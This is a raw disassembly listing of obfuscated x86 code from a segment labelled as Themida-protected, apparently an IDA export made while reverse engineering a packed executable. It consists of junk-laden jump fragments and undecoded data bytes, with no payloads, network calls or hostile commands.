; --------------------------------------------------------------------------- loc_56F338: ; CODE XREF: Themida_:00572ED3j add ebx, edi sub ebx, 6C162DF3h jmp loc_569FC8 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FF5F22E9h, 241C89FFh, 0E751E168h, 0BFAFE92Ah, 0D568FFFFh dd 0E9000028h, 0FFFF3F57h, 0C6FED6F6h, 6AF6E9h, 101ABF00h dd 7C0161E0h, 5D5F0C24h, 4246C81h, 687B1217h, 5B5CE9h dd 24248B00h, 45C2B951h, 77E96E97h, 28FFFF69h, 8B2A04F0h dd 0C4812414h, 4, 4EC81h, 4890000h, 0B770E924h, 68FFFFh dd 29000000h, 815A2414h, 669B18F2h, 5AD501AEh, 4C581h dd 2C330000h, 242C3124h, 0FF319BE9h, 24348BFFh, 4C481h dd 525E0000h, 72126851h, 0E9594779h, 0FFFF732Bh ; --------------------------------------------------------------------------- loc_56F3E8: ; CODE XREF: Themida_:0056B2F1j add ecx, edi sub ecx, 4D143FE9h jmp loc_56A4C5 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 5 dd 7C763BFBh, 158C389h, 241C8BD8h, 81E68956h, 4C6h, 1145E900h dd 23680000h, 8900004Ch, 0E389241Ch, 4BD55h, 0EB010000h dd 5D2434FFh, 4B86E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56F42E: ; CODE XREF: Themida_:0056CE7Bj add ebx, 0AEB65FB6h and edx, ebx pop ebx xor edx, 4D833000h sub ebx, edx mov edx, [esp] add esp, 4 add ebx, edi add ebx, 17C3305Ah mov edi, [esp] add esp, 4 push 4C4Dh mov [esp], ebx push dword ptr [esp+4] jmp loc_567523 ; --------------------------------------------------------------------------- loc_56F46A: ; CODE XREF: Themida_:00571803j pop ebx pop edx push edx push 233B0ACBh pop edx or edx, 59EB4463h dec edx inc edx xor edx, 35301737h add eax, edx pop edx jmp loc_56DCD3 ; --------------------------------------------------------------------------- db 68h, 56h, 6Bh dd 5F680000h, 8900007Ah, 0E8E92424h, 5FFFFF5Ah, 535DEA29h dd 0C5774DBBh, 0E9DA0969h, 0FFFF8BF0h, 63E4E581h, 814555E6h dd 70120F5h, 5DEA3160h, 38D9CA81h, 2EE91196h, 89000043h dd 74FF2404h, 0E9580424h, 0FFFF74FFh ; --------------------------------------------------------------------------- loc_56F4D4: ; CODE XREF: Themida_:00567F70j mov [esp], esi mov esi, 0B1D0F2Ah add esi, 57C01BF7h jmp loc_56650E ; --------------------------------------------------------------------------- loc_56F4E7: ; CODE XREF: Themida_:0057337Ej mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_56FD09 ; --------------------------------------------------------------------------- loc_56F4FC: ; CODE XREF: Themida_:005616C4j mov esi, [esp] add esp, 4 shr ebp, 8 shr ebp, 8 push edi push ecx jmp loc_573A89 ; --------------------------------------------------------------------------- loc_56F512: ; CODE XREF: Themida_:0056EF0Ej mov ebp, ebx pop ebx add eax, ebp pop ebp pop edi push edi mov edi, 35A70583h not edi jmp loc_574B08 ; --------------------------------------------------------------------------- dw 0E981h dd 19A403DCh, 0E959CB31h, 527Fh ; --------------------------------------------------------------------------- loc_56F534: ; CODE XREF: Themida_:00561DD0j sub edx, 14E51287h add edx, 59A678D8h add [edx], ebx pop edx jmp loc_576987 ; --------------------------------------------------------------------------- dd 5C24048Fh, 2896664h, 0FF1AEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F555: ; CODE XREF: Themida_:00569E83j xor eax, edi mov edi, [esp] jmp loc_56FD51 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 2C9768h, 241C8900h, 26E9E389h, 88FFFFF2h dd 0B1C6E9F9h, 0F268FFFFh, 89000042h, 47BE2434h, 0E95B3932h dd 0FFFFEAF9h ; --------------------------------------------------------------------------- loc_56F590: ; CODE XREF: Themida_:00565FECj mov [esp], ebp jmp loc_56740A ; --------------------------------------------------------------------------- aLS db '‹,$éÅ',0Dh,0 align 10h loc_56F5A0: ; CODE XREF: Themida_:005726A5j sub esi, eax add esi, 3285573Ah add esi, 1C401511h add esi, 0ADE3B1Eh pop eax add esi, 3E7E5BA6h sub esp, 4 jmp loc_568A4F ; --------------------------------------------------------------------------- aIuhja db '‰ãhjA',0 dd 24148900h, 0FF2475E9h, 0C0D00CFFh, 1D3402E8h, 0C0FE3B24h dd 0C6282C34h, 0C9E95158h, 0E9000026h, 0FFFF1A52h, 24348B66h dd 2C481h, 8F660000h, 3FE92404h db 1Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F603: ; CODE XREF: Themida_:0056609Fj add ebp, 4 xchg ebp, [esp] pop esp add bl, 68h jmp loc_5654A6 ; --------------------------------------------------------------------------- loc_56F612: ; CODE XREF: Themida_:0056CD74j push 343B11B8h pop ebp add ebp, 0CBC4EE4Ch push ebp add dword ptr [esp], 79385781h jmp loc_5716C8 ; --------------------------------------------------------------------------- db 57h dd 0B850E789h, 4, 0FF899CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56F639: ; CODE XREF: Themida_:00574460j mov esp, [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_561042 ; --------------------------------------------------------------------------- db 81h dd 87FB71C7h, 566805DFh, 0F8010618h, 1856682Dh, 3D96E906h dd 0C481FFFFh, 4, 148BD601h, 4C48324h, 0BAB95155h, 4905FA15h dd 0FF55D6E9h, 0FED7F6FFh, 0B3B450C7h, 30C3EC80h, 4005E9E7h dd 0C1B7FFFFh, 0B252D7F6h, 4CF28088h, 2E9D720h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F69F: ; CODE XREF: Themida_:0056D056j sub esp, 4 mov [esp], esi jmp loc_571B96 ; --------------------------------------------------------------------------- loc_56F6AA: ; CODE XREF: Themida_:0056D557j mov edx, esp add edx, 4 push ebx jmp loc_575053 ; --------------------------------------------------------------------------- dd 0E942D687h, 0FFFFAC9Fh ; --------------------------------------------------------------------------- loc_56F6C0: ; CODE XREF: Themida_:005747AEj sub esp, 4 jmp loc_56C3AE ; --------------------------------------------------------------------------- dd 79377FBEh, 5EF18908h, 8159CB29h, 0CF618EEBh, 84E95E37h dd 68FFFF87h, 4193h, 0FF3E47E9h, 240489FFh, 4055854h, 2D000000h dd 4, 31240433h, 4332404h, 24248B24h, 50242489h, 4B8h dd 24440100h, 7A20E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F716: ; CODE XREF: Themida_:00564FB3j mov ecx, 7E2679C1h jmp loc_56A18A ; --------------------------------------------------------------------------- dd 68242C89h, 1DB4CDEh, 12E1E9h db 0 ; --------------------------------------------------------------------------- loc_56F72D: ; CODE XREF: Themida_:0056AD40j add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ebx mov bl, 0C9h jmp loc_573A7E ; --------------------------------------------------------------------------- dw 0EF01h dd 0E92434FFh, 0FFFF6941h, 357FEA81h, 0F28150C4h, 22E278F8h dd 5BE9D2F7h, 89000036h, 0B850243Ch, 160866B9h, 0E958C789h dd 0C64h, 0EBE9E289h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F777: ; CODE XREF: Themida_:00569C00j pop esp jmp loc_5676A7 ; --------------------------------------------------------------------------- db 80h, 0F4h, 3Ah dd 0E9A8CC80h, 0FFFFC76Ch, 5488BA52h, 0BD553288h, 34610D79h dd 182ECD81h, 0DDF70B97h, 0FF4136E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F7A1: ; CODE XREF: Themida_:00565E4Aj push ecx mov cl, 73h or cl, 0C5h jmp loc_572F7B ; --------------------------------------------------------------------------- loc_56F7AC: ; CODE XREF: Themida_:0056A0E2j push edx push ecx sub esp, 4 mov [esp], edi push 39360E21h mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 4AA83612h shl edx, 1 push 7261h mov [esp], eax mov eax, 46D43F1Ch xor edx, eax pop eax push edx mov edx, 29200F0Ch jmp loc_56370C ; --------------------------------------------------------------------------- loc_56F7ED: ; CODE XREF: Themida_:00571F83j push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_56836B push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push ebx push esp mov ebx, [esp] add esp, 4 push ecx mov ecx, 37042A11h shl ecx, 1 dec ecx not ecx push eax mov eax, 28B854EDh jmp loc_569C30 ; --------------------------------------------------------------------------- loc_56F831: ; CODE XREF: Themida_:0056D932j pop edx push 2EB7h mov [esp], esi push ebx mov ebx, 2289462Bh mov esi, 2289462Fh xor esi, ebx pop ebx and ecx, esi jmp loc_56BB02 ; --------------------------------------------------------------------------- db 81h dd 0CB2163CFh, 107EE93Fh, 0C6830000h, 24348704h, 4B9515Ch dd 1000000h, 240C8BC8h, 4C481h, 0BD550000h, 2, 335DE829h dd 4312404h, 52DDE924h, 46B00000h, 2C06E0C0h, 58C3008Ch dd 0FF3D21E9h db 0FFh ; --------------------------------------------------------------------------- loc_56F895: ; CODE XREF: Themida_:00562312j pop ecx add ebp, 1D09EB6Fh add eax, 1F4E21AFh add eax, ebp push esi jmp loc_571F56 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4BA52h, 54010000h, 8B5A0424h, 4FE9243Ch, 68FFFFA8h dd 4DB4239Dh, 8124348Bh, 4C4h, 0BCF68100h, 316E96ABh, 5B26E9F2h dd 0CD89FFFFh, 0FFDE02E9h, 6B9ABEFFh, 0BD552CD5h, 41775B6Dh dd 0D1ED8145h, 315E8DF3h, 242C8BEEh, 0FF9E72E9h, 5AE6BDFFh dd 0DDF77562h, 3212CD81h, 0EDC17822h, 0B62AE908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56F912: ; CODE XREF: Themida_:005758C3j sub ecx, 41890B6Bh add ecx, esi add ecx, 41890B6Bh jmp loc_56846B ; --------------------------------------------------------------------------- loc_56F925: ; CODE XREF: Themida_:00562687j mov ecx, edx push dword ptr [esp] jmp loc_571E1A ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 0E9505C24h, 33C0h, 4C481h, 0EB800000h, 0E9525063h dd 777h ; --------------------------------------------------------------------------- loc_56F94C: ; CODE XREF: Themida_:005730B9j add edx, 100FBh add edx, 8CF4E9Bh push dword ptr [edx] xor dword ptr [esp], 542E0912h pop ecx xor ecx, 542E0912h jmp loc_56143A ; --------------------------------------------------------------------------- dd offset loc_42C568 align 2 dw 0B7E9h dd 68FFFF77h, 516232A5h, 566EE958h, 4B0FFFFh, 28E5B151h dd 0C38059C8h, 80C3007Ch, 0F587CEBh, 34FFC0B6h, 242C8187h dd 64D55E7h, 0E92434FFh, 1E8Fh, 7FD5E281h, 0C28107B8h dd 0FBDFF504h, 148BD329h, 90E6E924h, 0E957FFFFh, 0FFFF5D0Ah dd 24048B66h, 41D968h, 1A2DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56F9D2: ; CODE XREF: Themida_:0056D132j add esp, 4 add esp, 4 jmp loc_564321 ; --------------------------------------------------------------------------- dd 8904EC83h, 0E95E2414h, 0FFFF754Bh ; --------------------------------------------------------------------------- loc_56F9EC: ; CODE XREF: Themida_:00571B91j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebp push ecx push 4B472BD3h pop ecx add ecx, 233C2FE2h jmp loc_576374 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF1632h, 0FF241489h, 0E95A2404h, 0FFFF4CC6h ; --------------------------------------------------------------------------- loc_56FA1C: ; CODE XREF: Themida_:0056D834j pop eax push edx mov edx, esi push 61F7h mov [esp], edx jmp loc_566EA2 ; --------------------------------------------------------------------------- loc_56FA2D: ; CODE XREF: Themida_:00571789j not ebp jmp loc_573B8A ; --------------------------------------------------------------------------- dd 0E958C731h, 0FFFF7480h ; --------------------------------------------------------------------------- loc_56FA3C: ; CODE XREF: Themida_:0056F051j pop ecx push 3DDAh jmp loc_576329 ; --------------------------------------------------------------------------- loc_56FA47: ; CODE XREF: Themida_:0056583Dj mov ebx, 200000h jmp loc_56AEBD ; --------------------------------------------------------------------------- loc_56FA51: ; CODE XREF: Themida_:0056641Aj ; Themida_:005744ACj sub esp, 4 jmp loc_56A530 ; --------------------------------------------------------------------------- loc_56FA5C: ; CODE XREF: Themida_:00566A5Dj pop esi neg ebp push ebx mov ebx, 1DBD7B86h dec ebx xor ebx, 0E53E6F8Eh xor ebp, ebx jmp loc_565589 ; --------------------------------------------------------------------------- db 68h dd 696Eh, 0BD242C89h, 6CB724ACh, 0FABB5357h, 4B7BF45Eh dd 7A6AE381h, 81433C42h, 665190CBh, 611CE92Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56FA9A: ; CODE XREF: Themida_:0056EC70j push edi push esp pop edi add edi, 4 push esi mov esi, 6A392845h add esi, 95C6D7BFh add edi, esi jmp loc_562775 ; --------------------------------------------------------------------------- dw 15Ah dd 0ECE981D1h, 8B2C0659h, 54522414h, 4C2815Ah, 83000000h dd 148704C2h, 24248B24h, 2474FF51h, 48F5904h, 0CFE5C24h dd 5BE99C24h, 0C1FFFF15h, 0F38104EBh, 211E09F4h, 0FEBE5643h dd 29575900h, 0DA315EF3h, 986BE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FB02: ; CODE XREF: Themida_:00563022j not edi jmp loc_56EA94 ; --------------------------------------------------------------------------- db 81h, 0E6h, 22h dd 8124DA2Eh, 481804C6h, 5EF38923h, 15BDF31h, 71E95FF8h dd 89000057h, 48E9240Ch, 21FFFFFFh, 0C7815AD7h, 52EA049Eh dd 0C655C781h, 0E9568C05h, 2EE1h, 0E904E9C1h, 0FFFF59A7h dd 5D7AE95Bh, 248B0000h, 0C8B6624h, 79906824h, 4890000h dd 2A846824h, 21680000h, 8900000Ch, 4812424h, 424h, 24048F00h dd 4240481h, 0FF000000h, 48B2434h, 0E3895324h, 4C381h dd 0C3810000h, 4, 0E9241C87h, 528Bh, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 0B9240C89h, 40h, 4EC81h, 1E90000h, 81FFFF1Ch dd 4C3h, 4C38100h, 53000000h, 42474FFh, 0FFBA4AE9h, 0C8B66FFh dd 0E0895024h, 4BF5756h, 57000000h, 0B7242C81h, 0E93FCC38h dd 39D9h, 81240C8Bh, 4C4h, 4C48100h, 0E9000000h, 5B0Ch dd 7031B9h, 2A6EBA59h, 0CA31213Eh, 0E9D72159h, 0FFFFB9BCh dd 0E904C483h, 0FFFF89FBh ; --------------------------------------------------------------------------- loc_56FC1C: ; CODE XREF: Themida_:0056B4DCj dec esi shr esi, 6 shr esi, 1 shr esi, 6 jmp loc_5728A0 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0FF4F20E9h db 0FFh ; --------------------------------------------------------------------------- loc_56FC35: ; CODE XREF: Themida_:00566443j push ebp push esi mov esi, 7807719Dh jmp loc_569338 ; --------------------------------------------------------------------------- loc_56FC41: ; CODE XREF: Themida_:00566375j shr bh, 7 jmp loc_568B79 ; --------------------------------------------------------------------------- db 5, 45h, 46h dd 0D829603Dh, 3D46452Dh, 4EC8360h, 89242C89h, 4C581E5h dd 0E9000000h, 475Fh ; --------------------------------------------------------------------------- loc_56FC68: ; CODE XREF: Themida_:0056CEF7j xor ebx, 2E1C4ED6h xor edi, ebx mov ebx, [esp] add esp, 4 jmp loc_5632D8 ; --------------------------------------------------------------------------- dw 0DEB0h dd 0B3E99A0Ch, 5D000050h, 4C181h, 0C870000h, 0A0E95C24h dd 89000054h, 1DEE68E5h, 34890000h, 4EDABE24h, 0E68150B1h dd 600E5D27h, 7DDD68h, 5101E900h, 1487FFFFh, 54515C24h dd 0E9240C8Bh, 158Ah, 7E9C15Bh, 0D6E9D9F7h, 89FFFF92h dd 40E9241Ch, 4FFFFCCh, 58C20001h, 6802E2C0h, 28E0h, 0B5240C89h dd 0D898E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FCEE: ; CODE XREF: Themida_:0056BB2Ej pop ebx xor ebx, edx xor edx, ebx xor ebx, edx xchg esi, edx jmp loc_5752FD ; --------------------------------------------------------------------------- dd 0C3814B5Eh, 0CEE7BF9Dh, 0FF9B1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56FD09: ; CODE XREF: Themida_:0056F4F7j mov [esp], ebx jmp loc_5633CE ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0E924248Bh, 0FFFF5034h, 0EE81D6F7h, 0EE878F4Eh, 0FFEC6BE9h dd 4BD55FFh, 1000000h, 0EB815DEBh, 4, 0FF45F1E9h, 0EF8158FFh dd 2, 5C243C87h, 241C8966h, 0FFF22BE9h db 0FFh ; --------------------------------------------------------------------------- loc_56FD51: ; CODE XREF: Themida_:0056F55Aj add esp, 4 mov edx, eax mov eax, [esp] add esp, 4 jmp loc_570D54 ; --------------------------------------------------------------------------- db 0B1h dd 0BF3CE963h, 489FFFFh, 7CDF6824h, 34890000h, 71366824h dd 525E1825h, 9D79C9BAh, 24448121h, 2D3E9C08h, 2454011Dh dd 246C8108h, 2D3E9C08h, 44815A1Dh, 42EE0424h, 74295D53h dd 6C810424h, 42EE0424h, 0E9575D53h, 479Eh, 335BD901h dd 0C31240Ch, 240C3324h, 0FFC309E9h, 8AC181FFh, 173D924h dd 240C8BC8h, 4C481h, 68520000h, 52BCh, 0FFF93FE9h, 0DFF74FFFh dd 0D7F7D7F7h, 0B5F9C781h, 0F82978F9h, 543BE9h, 240C8B00h dd 19B8E9h, 57D1F700h, 17B2BD55h, 0EF897D0Eh, 0D3C7815Dh dd 0E933C24Dh, 5377h ; --------------------------------------------------------------------------- loc_56FE14: ; CODE XREF: Themida_:005630C6j add esi, 373C2382h sub esp, 4 mov [esp], ecx mov ecx, 1E0D4A36h sub esi, ecx pop ecx mov edx, [esp] add esp, 4 xchg esi, [esp] jmp loc_562C06 ; --------------------------------------------------------------------------- loc_56FE36: ; CODE XREF: Themida_:0056BEDDj xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_56AAED ; --------------------------------------------------------------------------- loc_56FE41: ; CODE XREF: Themida_:00563F67j not edx jmp loc_56502D ; --------------------------------------------------------------------------- dd 0CBE9C601h, 29000027h, 0EB815AD3h, 36112FDh, 0FFB3D6E9h dd 4EC81FFh, 0E9000000h, 0FFFFD54Ch, 0E95FF989h, 0FFFF3D7Ah dd 0BB241C89h, 3ED84169h, 0FF3C04E9h, 5BDA01FFh, 1702E958h dd 3487FFFFh, 0B9515C24h, 4, 34FFCD01h db 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 jmp loc_56EEEA ; --------------------------------------------------------------------------- loc_56FEAA: ; CODE XREF: Themida_:00575B1Fj mov edi, 79CB70D7h xor edi, ebx pop ebx push ecx mov ecx, 2975005Ah sub edi, ecx jmp loc_570D89 ; --------------------------------------------------------------------------- db 89h dd 32E953E6h, 89FFFF13h, 0CB0158C1h, 81240C8Bh, 4C4h, 4C38300h dd 5C241C87h, 3302C783h, 3C31243Ch, 243C3324h, 2424D25Ch dd 1150E99Ch, 0F189FFFFh, 0F7D9875Eh, 81D987D3h, 4508B6F1h dd 78B85053h, 401A931Dh, 0BD08482Dh, 2E8C11Eh, 0FFE62BE9h dd 895352FFh, 5BDA89CBh, 0FF3068E9h, 629068FFh, 0D4680000h dd 89000063h, 4832424h, 0FCE90424h, 80FFFF8Ah, 0C58027CDh dd 59E8009Fh, 8E2CF800h, 0FF8953E9h db 0FFh ; --------------------------------------------------------------------------- loc_56FF49: ; CODE XREF: Themida_:005673E3j push ebp mov ebp, edx mov ecx, ebp pop ebp pop edx jmp loc_56F056 ; --------------------------------------------------------------------------- db 0C1h, 0E5h, 8 dd 33AECD81h, 0F5814FE2h, 0DFF7BFACh, 875DEA01h, 248B2414h dd 0C8B6624h, 6AA6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56FF76: ; CODE XREF: Themida_:00575577j mov [esp], edi jmp loc_57195B ; --------------------------------------------------------------------------- dw 0F801h a_sY db '_é Y',0 align 2 loc_56FF86: ; CODE XREF: Themida_:00566BDDj add ebp, 4 add ebp, 4 jmp loc_56B905 ; --------------------------------------------------------------------------- loc_56FF94: ; CODE XREF: Themida_:00576135j jmp loc_561042 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0FAh dd 4B72187Bh, 9762F381h, 0D901E209h, 4E9815Bh, 87000000h dd 53E9240Ch db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FFB7: ; CODE XREF: Themida_:005714A8j mov ebx, [esp] jmp loc_57654C ; --------------------------------------------------------------------------- loc_56FFBF: ; CODE XREF: Themida_:0057209Fj pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push ebx mov ebx, esp push esi mov esi, 4 jmp loc_569749 ; --------------------------------------------------------------------------- aAilps4 db '€ëLPé4',0Ah,0 align 10h dd 720BCF81h, 0DFF744B9h, 8C3EF81h, 0FE099691h, 7AE6815Fh dd 8154F05Dh, 90678BCEh, 81D6F770h, 0F07000C6h, 8BF30174h dd 89522434h, 4C281E2h, 81000000h, 4C2h, 24143300h, 625EE9h dd 24048900h, 405E089h, 55000000h, 4BDh, 7FB22D00h, 0E8016A47h dd 477FB205h, 86E95D6Ah, 89FFFFAAh, 2BF243Ch, 1000000h dd 0C875FF9h, 24248B24h, 2EC81h, 89660000h, 0EC83240Ch dd 242C8904h, 0C5815D54h, 4, 932EE952h, 48FFFFFh, 24248B24h dd 0E904EC83h, 0FFFFFC4Fh ; --------------------------------------------------------------------------- loc_570080: ; CODE XREF: Themida_:005610CEj add ebp, 3CF20A7Ch add ebp, 2A420817h pop esi push ebp push dword ptr [esp+4] pop ebp jmp loc_5682EF ; --------------------------------------------------------------------------- loc_570098: ; CODE XREF: Themida_:00564379j add ebp, 0C83239Bh sub ebp, 0D1ECF6E8h sub ecx, ebp pop ebp xor ecx, 0B9D9FECCh jmp loc_574A6E ; --------------------------------------------------------------------------- dw 0C89h dd 2716E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5700BA: ; CODE XREF: Themida_:00563B37j pop edi mov ecx, [esp] jmp loc_576A76 ; --------------------------------------------------------------------------- db 0B6h dd 0B8C6809Eh, 0E95AF488h, 0FFFFA472h, 0E932FF66h, 0FFFF0F6Ah ; --------------------------------------------------------------------------- loc_5700D8: ; CODE XREF: Themida_:005628D3j sub esp, 4 mov [esp], ebp mov ebp, 33C72082h jmp loc_56AE62 ; --------------------------------------------------------------------------- db 80h dd 0EFC02EC7h, 2D7FE902h, 148B0000h, 4C48124h, 87000000h dd 248B242Ch, 24040824h, 0F34E99Ch, 8B66FFFFh, 1668240Ch dd 89000065h, 9EE9243Ch db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57011F: ; CODE XREF: Themida_:005750DBj xchg eax, [esp] not eax jmp loc_576934 ; --------------------------------------------------------------------------- loc_570129: ; CODE XREF: Themida_:0057439Bj xor ecx, esi pop esi push 10CBh mov [esp], eax sub esp, 4 jmp loc_56AE4D ; --------------------------------------------------------------------------- a341434LSiuh db '[34$14$34$‹$$S‰ãh",',0 align 4 dd 0BF243C89h, 78684750h, 0FF1B50E9h, 6C28BEFFh, 0BAE96EF4h dd 5000048h, 79B202ADh, 83243C8Bh, 0DE6804C4h, 8900007Bh dd 9CBD242Ch, 0E92BAE00h, 0FFFF6985h, 56E9C201h, 0D1FFFFE0h dd 3BBD55E8h, 29B72562h, 0E4E95DE8h, 66FFFFE8h, 6824048Bh dd 2B37h, 89241489h, 2981E9E2h, 2C890000h, 37336824h, 2C8B433Fh dd 4C48324h, 36F5814Dh, 29433F37h, 242C8BEAh, 0FF8234E9h dd 9FF181FFh, 0E94BE319h, 0FFFFEDD9h, 582434FFh, 0FF8BC7E9h dd 4EC83FFh, 0E9243489h, 0FFFFF6CFh, 0E99C5166h, 0FFFF0E4Ah dd 1738C281h, 0EA810890h, 1FFE416Eh, 0C281FA29h, 1FFE416Eh dd 1738EA81h, 33E90890h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570217: ; CODE XREF: Themida_:0056DEB8j push 58F4h mov [esp], ebp mov ebp, 15AC356Ch push esi mov esi, 661E6E95h push esi mov esi, 0D7F54A8h add esi, 12CC233Eh xor esi, 86923384h jmp loc_5679B3 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 4EC815Ch, 89000000h, 0E389241Ch, 0FF5B26E9h, 0C0B60FFFh dd 0E98734FFh, 0FFFF0DE2h, 88C3FE59h, 0C05B66DEh, 0C6FE07E6h dd 0B5EE80h, 2434FFF0h, 0E089505Ah, 0FF1B0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_57027D: ; CODE XREF: Themida_:00565028j add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_575F43 ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 0C681E689h, 4, 8704C683h, 0E95C2434h, 1678h dd 8158C301h, 2C27E6C7h, 0E9DF295Bh, 105Dh, 6E21B9h, 0F9C7810Eh dd 81195D0Ch, 0EB1918EFh, 4EC78155h, 112D72Ch, 4EEF81CFh dd 5112D72Ch, 0EB1918B9h, 59CF0155h, 0CF9EF81h, 0C8B195Dh dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 5F52E95Ch dd 6DBEFFFFh, 0E958C14Bh, 0FFFFCD15h, 4B850h, 0C2290000h dd 582434FFh, 0FF4C04E9h, 6C815DFFh, 66FD0424h, 448121F3h dd 16CC0424h, 6C01126Ch, 6C810424h, 16CC0424h, 4481126Ch dd 66FD0424h, 0BE5621F3h, 6DE7534Eh, 8247401h, 35E1E9h dd 0E9E38900h, 1C9Eh, 0C208FCB0h, 4512E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57035A: ; CODE XREF: Themida_:00562407j push edi mov edi, 4 jmp loc_57217E ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 348904ECh, 57E68924h, 0A6239BFh, 81D7F730h dd 9826C1E7h, 0C4F7815Eh, 14E9004h, 41CE9FEh, 3C290000h dd 0F6BE5624h, 12CC51Eh, 5E042474h, 0FF242C81h, 8B625924h dd 0C483243Ch, 0A408E904h, 1431FFFFh, 24143324h, 5EA3E9h dd 0DEEB8000h, 0B3535166h, 0B2526655h, 0E9D18871h, 0FFFF70DDh dd 0E924248Bh, 0FFFFEF13h, 6EE9F829h, 53FFFF70h, 0F8008CB7h dd 0FF0DD9E9h, 0E3C380FFh, 347C6855h, 2C8B117Fh, 4C48124h dd 52000000h, 0FF545FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5703FD: ; CODE XREF: Themida_:00567797j sub edx, 100FBh jmp loc_5730B7 ; --------------------------------------------------------------------------- dd 4032C381h, 0C8B166Ch, 4C48124h, 83000000h, 0FF5304C3h dd 0E9042474h, 0FFFFA174h, 40558h, 4050000h, 33000000h dd 4312404h, 24043324h, 0FFA950E9h, 4C481FFh, 4D000000h dd 0BA52D5F7h, 42B3382Ch, 0D5F7EA87h, 95E9EA87h, 66FFFF30h dd 0E9241C8Bh, 0FFFFECF1h, 71ABED81h, 48B1C97h, 4C48324h dd 5C242C87h, 8904EC83h, 0CF89243Ch, 4229E952h, 0FBFFFFFh dd 5206227h, 191F1E0Ah, 0A2DF829h, 5F191F1Eh, 9BD7E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570496: ; CODE XREF: Themida_:0056D621j add ebx, 4 push edi jmp loc_56760C ; --------------------------------------------------------------------------- dw 0C89h dd 75AB924h, 25E9071Ch, 54FFFF39h, 4CA7E95Ah, 81590000h dd 4C4h, 4C18100h, 0E9000000h, 0FFFF9DD5h ; --------------------------------------------------------------------------- loc_5704C8: ; CODE XREF: Themida_:0056787Cj mov edx, ebx pop ebx jmp loc_565C28 ; --------------------------------------------------------------------------- dd 24048B66h, 0FF707BE9h, 0C30158FFh, 38BAE9h, 43EBD100h dd 73B7BF57h, 0FB01341Ah, 38D2E9h, 48B6600h, 0E3895324h dd 4C381h, 4BE90000h, 89000010h, 7DB82404h, 507AD814h dd 4A74E9h, 2EEA8100h, 8B1B2C68h, 8951243Ch, 4C181E1h dd 83000000h, 0C8704C1h, 658FE924h, 0B850FFFFh, 0ED659E7Dh dd 0FF671DE9h db 0FFh ; --------------------------------------------------------------------------- loc_570539: ; CODE XREF: Themida_:0056737Aj mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] jmp loc_5644E8 ; --------------------------------------------------------------------------- db 83h dd 348704C6h, 5E18E924h, 3B66FFFFh, 0E6E99CC8h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_57056B: ; CODE XREF: Themida_:005762A4j dec ebp neg ebp and ebp, 35F91154h sub ebp, 0E2C0BA9Eh add esi, ebp pop ebp not esi push eax mov eax, 1B6A64FEh xor esi, eax pop eax xor esi, 0B9719429h add edx, esi jmp loc_56B6BA ; --------------------------------------------------------------------------- loc_570595: ; CODE XREF: Themida_:0056E960j xor eax, 0DA53AF4Eh jmp loc_56BECD ; --------------------------------------------------------------------------- db 81h dd 0ED543AC6h, 4ED6F76Fh, 0FFAE41E9h, 0A90E9FFh, 68ADFFFFh dd 1617h, 50241C89h, 0D1253CB8h, 2C81505Ah, 855F3E24h dd 473DE963h, 405FFFFh, 0E9000000h, 0FFFF76B3h, 5B54535Fh dd 4C381h, 0BE560000h, 4, 348BF301h, 4C48124h, 87000000h dd 315C241Ch, 3074E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5705FE: ; CODE XREF: Themida_:0056745Bj push esi jmp loc_57667F ; --------------------------------------------------------------------------- 